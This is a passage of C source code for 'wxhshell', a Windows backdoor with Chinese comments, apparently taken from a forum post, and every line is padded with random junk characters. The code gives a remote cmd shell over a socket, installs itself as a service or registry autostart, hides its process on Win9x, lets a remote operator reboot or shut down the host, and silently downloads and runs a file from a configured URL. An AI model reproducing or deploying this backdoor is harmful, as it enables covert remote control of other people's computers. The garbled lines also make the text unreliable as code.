  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q]#j,}cN9  
  } Nn-EtM0w  
  else { iH>IV0 <  
=?[:Nj636  
    switch(cmd[0]) { (CrP6]=  
  BY>]6SrP  
  // 帮助 #Q$e%VJ(c1  
  case '?': { L3Ivm :  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vY);7  
    break; 3v>w$6  
  } ih(Al<IS  
  // 安装 +c' n,O~3  
  case 'i': { !112u#V  
    if(Install()) V>& 1;n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yd]  
    else a^7QHYJ6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b]g#mQ  
    break;  V0!kvIv  
    } `Ln1g@  
  // 卸载 6 jU ?~  
  case 'r': { 8f>v[SQ"  
    if(Uninstall()) 'RZ0,SK'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cS(=wC  
    else ?D['>Rzu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _V(FHjY  
    break;  z uI7Px  
    }  3 EOuJ  
  // 显示 wxhshell 所在路径 FZtT2Z4&i  
  case 'p': { *3rp g  
    char svExeFile[MAX_PATH]; N9 TM  
    strcpy(svExeFile,"\n\r"); ;^cMP1SH  
      strcat(svExeFile,ExeFile); tY%T  
        send(wsh,svExeFile,strlen(svExeFile),0); -%TwtO<$']  
    break; SXx4^X  
    } rm4t  
  // 重启 V(;c#%I2  
  case 'b': { DWupLJpk;c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); : `,#z?Rk  
    if(Boot(REBOOT))  GjyTM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /Nns3oE  
    else { &neB$m3y  
    closesocket(wsh); {m/KD 'b_  
    ExitThread(0); i4lB ]k  
    } Au"BDP  
    break; t(1gJZs>kX  
    } T'a&  
  // 关机 x\8gb#8  
  case 'd': { zQoJ8i>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R~BFZF>:  
    if(Boot(SHUTDOWN)) \ESNfL5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5MK.>3fE  
    else { )}@Z*.HZL  
    closesocket(wsh); +>Pq]{Uf1j  
    ExitThread(0); ='6@^6y  
    } Ls'8  
    break; R'qBG(?i  
    } Y8for'  
  // 获取shell )kIjZ  
  case 's': { 3`Dyrj#!  
    CmdShell(wsh); {7.uwIW.1  
    closesocket(wsh); c=aVYQ"2  
    ExitThread(0); ,.AXQ#~&`  
    break; ,15$$3z/E  
  } zS '{F>w  
  // 退出 ! q+>'Mt  
  case 'x': { ;iz3Bf1o  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zC`ediyu  
    CloseIt(wsh); e#@u&+K/f  
    break; f{U,kCv  
    } ?f*>=;7=  
  // 离开 j-v/;7s/B  
  case 'q': { #J~xKyJi'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;}'Z2gZ B  
    closesocket(wsh); Q}uh`?t  
    WSACleanup(); !, {-q)'D  
    exit(1); -BH T'zq1S  
    break; \~.elKw<U  
        } n<Ki.;-ZE  
  }  rB_ESNx  
  } Mo\nY5  
z8 K#G%,:  
  // 提示信息 vH@$?b3VP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5uU{!JuSa  
} 06I(01M1   
  } USH>`3  
+1Pu29B0  
  return; G$s=P  
} 0oo_m6ie&  
m}+_z^@j9  
// shell模块句柄 ~zDFL15w  
int CmdShell(SOCKET sock) JC9OL.Ob  
{ `[~LMV&2U  
STARTUPINFO si; sI@kS ^  
ZeroMemory(&si,sizeof(si)); +'a G{/J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mV}eMw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L08" 8\  
PROCESS_INFORMATION ProcessInfo; 1pT/`x  
char cmdline[]="cmd"; 5;A=8bryU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;0}C2Cz'  
  return 0; vqo ~?9z[e  
} :-~x~ah-  
KJ_L>$ ]*  
// 自身启动模式 9g7Ok9dF  
int StartFromService(void) 8KWhXF  
{ >Sm#-4B-  
typedef struct Ca0t}`<S  
{ i8.OM*[f  
  DWORD ExitStatus; $}P>_bq  
  DWORD PebBaseAddress; x5,|kJ9S  
  DWORD AffinityMask; cBU@853  
  DWORD BasePriority; d4o_/[  
  ULONG UniqueProcessId; L>!MEMqm  
  ULONG InheritedFromUniqueProcessId; 1wW4bg 5  
}   PROCESS_BASIC_INFORMATION; c}w[ T  
[yVcH3GcjI  
PROCNTQSIP NtQueryInformationProcess; <n0j'P>1  
:KsBJ>2ck  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4}Hf"L[ l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F>at^6^  
]CgZt' h{  
  HANDLE             hProcess; :U-yO 9!j  
  PROCESS_BASIC_INFORMATION pbi; uN6xOq/  
uR82},r$m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BA_l*h%=Cc  
  if(NULL == hInst ) return 0; }te dh  
7G_OFD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >2tosxH M  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  3,Bm"'b6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b2YOnV  
P> ~Lx  
  if (!NtQueryInformationProcess) return 0; +N!/>w]n  
r`C t/]c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); XNkQ0o0  
  if(!hProcess) return 0; >IHf5})R  
Og kb N`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (Jk:Qz5  
2_){4+,fu  
  CloseHandle(hProcess); i(kr#XsU  
42 Sk`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LdyE*u_  
if(hProcess==NULL) return 0; =[o/D0-Kn  
c1StA  
HMODULE hMod; G[!<mh4h|  
char procName[255]; a0Q\]S  
unsigned long cbNeeded; Cv qUaHW@  
;sd] IZ$#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IFWP&20  
~<[]l~`  
  CloseHandle(hProcess); iPrAB*  
Dz+R Q`Vn  
if(strstr(procName,"services")) return 1; // 以服务启动 <(Ktf0'__  
"`5BAv;u  
  return 0; // 注册表启动 ]j< & :_  
} m ,TYF  
ooT~R2u  
// 主模块 BO;LK-V  
int StartWxhshell(LPSTR lpCmdLine) {4b8s%:!4  
{ <nn!9V\C   
  SOCKET wsl; RQ[6svfP  
BOOL val=TRUE; JP 8v2) p  
  int port=0; mC84fss  
  struct sockaddr_in door; kk3G~o +  
S;S_<GX  
  if(wscfg.ws_autoins) Install(); BU;E6s>P  
[E/8E h<  
port=atoi(lpCmdLine); z#sSLE.$Z  
P4~C0z  
if(port<=0) port=wscfg.ws_port; 8 9f{8B]z  
mKBPIQ+ZS  
  WSADATA data; 1PT0<C-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kam \dn04  
_95`w9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >HQ<KFA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y?{YQ)fj  
  door.sin_family = AF_INET; PWs=0.Wj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); R~(_m#6`:  
  door.sin_port = htons(port); >]WQ1E[=  
5K?%Eo72!=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h:'wtn@l(  
closesocket(wsl); o^~KAB7  
return 1; Le}-F{~`^  
} ;]SP~kG  
O.+X,CQG*  
  if(listen(wsl,2) == INVALID_SOCKET) { +jX.::UPm  
closesocket(wsl); l%$co07cX  
return 1; (Y]G6> Oa  
} PQ[x A*  
  Wxhshell(wsl); w\ 7aAf3O  
  WSACleanup(); )NS& 1$  
=k22f`8ew  
return 0; nD;8)VI'I  
fHwr6"DJ  
} \}mn"y  
#me'1/z  
// 以NT服务方式启动 P[C03a!lXg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a]_eSU@  
{ 5*7 \Yjk?  
DWORD   status = 0; qct:xviH<|  
  DWORD   specificError = 0xfffffff; a,*~wmg  
BA|*V[HBE  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `1"Xj ^ YM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h^"OC$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?BnjtefIe  
  serviceStatus.dwWin32ExitCode     = 0; :0B' b  
  serviceStatus.dwServiceSpecificExitCode = 0; [\e2 ID;  
  serviceStatus.dwCheckPoint       = 0; G=%SMl>[  
  serviceStatus.dwWaitHint       = 0; B":u5_B  
&c1zEgl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :u>9H{a  
  if (hServiceStatusHandle==0) return; \d{S3\7  
>D/+04w  
status = GetLastError(); B>W!RyH8o  
  if (status!=NO_ERROR) Q@/358.LA  
{ `.a~G y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H:M;H =0  
    serviceStatus.dwCheckPoint       = 0; xu7Q^F#u  
    serviceStatus.dwWaitHint       = 0; Acib<Mi2!-  
    serviceStatus.dwWin32ExitCode     = status; 5 MD=o7O^  
    serviceStatus.dwServiceSpecificExitCode = specificError; p-o!K\o-1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L5yv}:.U  
    return; \4|o5,+(@  
  } |cUBS)[)X  
~!{y3thZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Yn }Ivg  
  serviceStatus.dwCheckPoint       = 0; " tUF,G(<  
  serviceStatus.dwWaitHint       = 0; IF$*6 ,v.z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <:UP  
} <v =T31aS  
X6Hd%}*mN  
// 处理NT服务事件,比如:启动、停止 !c8hER!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /NFcIU  
{ j:6VWdgq  
switch(fdwControl) )w++cC4/5  
{ @-QDp`QtI  
case SERVICE_CONTROL_STOP: 1#<KZN =$  
  serviceStatus.dwWin32ExitCode = 0; VaRP+J}UA.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N/&t) 7  
  serviceStatus.dwCheckPoint   = 0; 41V}6+$g  
  serviceStatus.dwWaitHint     = 0; +Qe&#"O0  
  { Iz[T.$9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B#U:6Ty  
  } #$[}JiuL/  
  return; 5?n@.hcL  
case SERVICE_CONTROL_PAUSE:  rVo?I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NYcF]K}[  
  break;  9> k-";  
case SERVICE_CONTROL_CONTINUE: fer~NlX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o7W1sD1O  
  break; \6U$kMGde  
case SERVICE_CONTROL_INTERROGATE: $pg1Av7l  
  break; yl[6b1  
}; bM"crRG"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZeyA bo  
} u9}k^W)E  
'P^6H$0  
// 标准应用程序主函数 %>G(2)Fb\\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >1n[Y- r  
{ _ X* A  
L'?0*t  
// 获取操作系统版本 =icynW^Fr  
OsIsNt=GetOsVer(); u \zP`Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hqKftk)+  
(\M&Q-xZ  
  // 从命令行安装 ZNEWUt{+;^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~Z#jIG<?g  
g/ict 2!  
  // 下载执行文件 9cm9;  
if(wscfg.ws_downexe) { 5#v|t\ {  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C`0;  
  WinExec(wscfg.ws_filenam,SW_HIDE); M@/Hd0$  
} ^ |^Q(  
LiF(#OuZ  
if(!OsIsNt) { S!;:7?mq  
// 如果时win9x,隐藏进程并且设置为注册表启动 BL^8gtdn  
HideProc(); Z `)}1|~B  
StartWxhshell(lpCmdLine); M[@=m[#a  
} AGdFJ>/  
else i!JVGs  
  if(StartFromService()) CF:s@Z+  
  // 以服务方式启动 |4@su"OA  
  StartServiceCtrlDispatcher(DispatchTable); c)tG1|Og]  
else # ,KjJ  
  // 普通方式启动 71# ipZ  
  StartWxhshell(lpCmdLine); Cd"iaiTD0  
Zh]FL8[ nc  
return 0; g}B|ZRz+{  
}
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只看该作者 1 发表于: 2006-10-10
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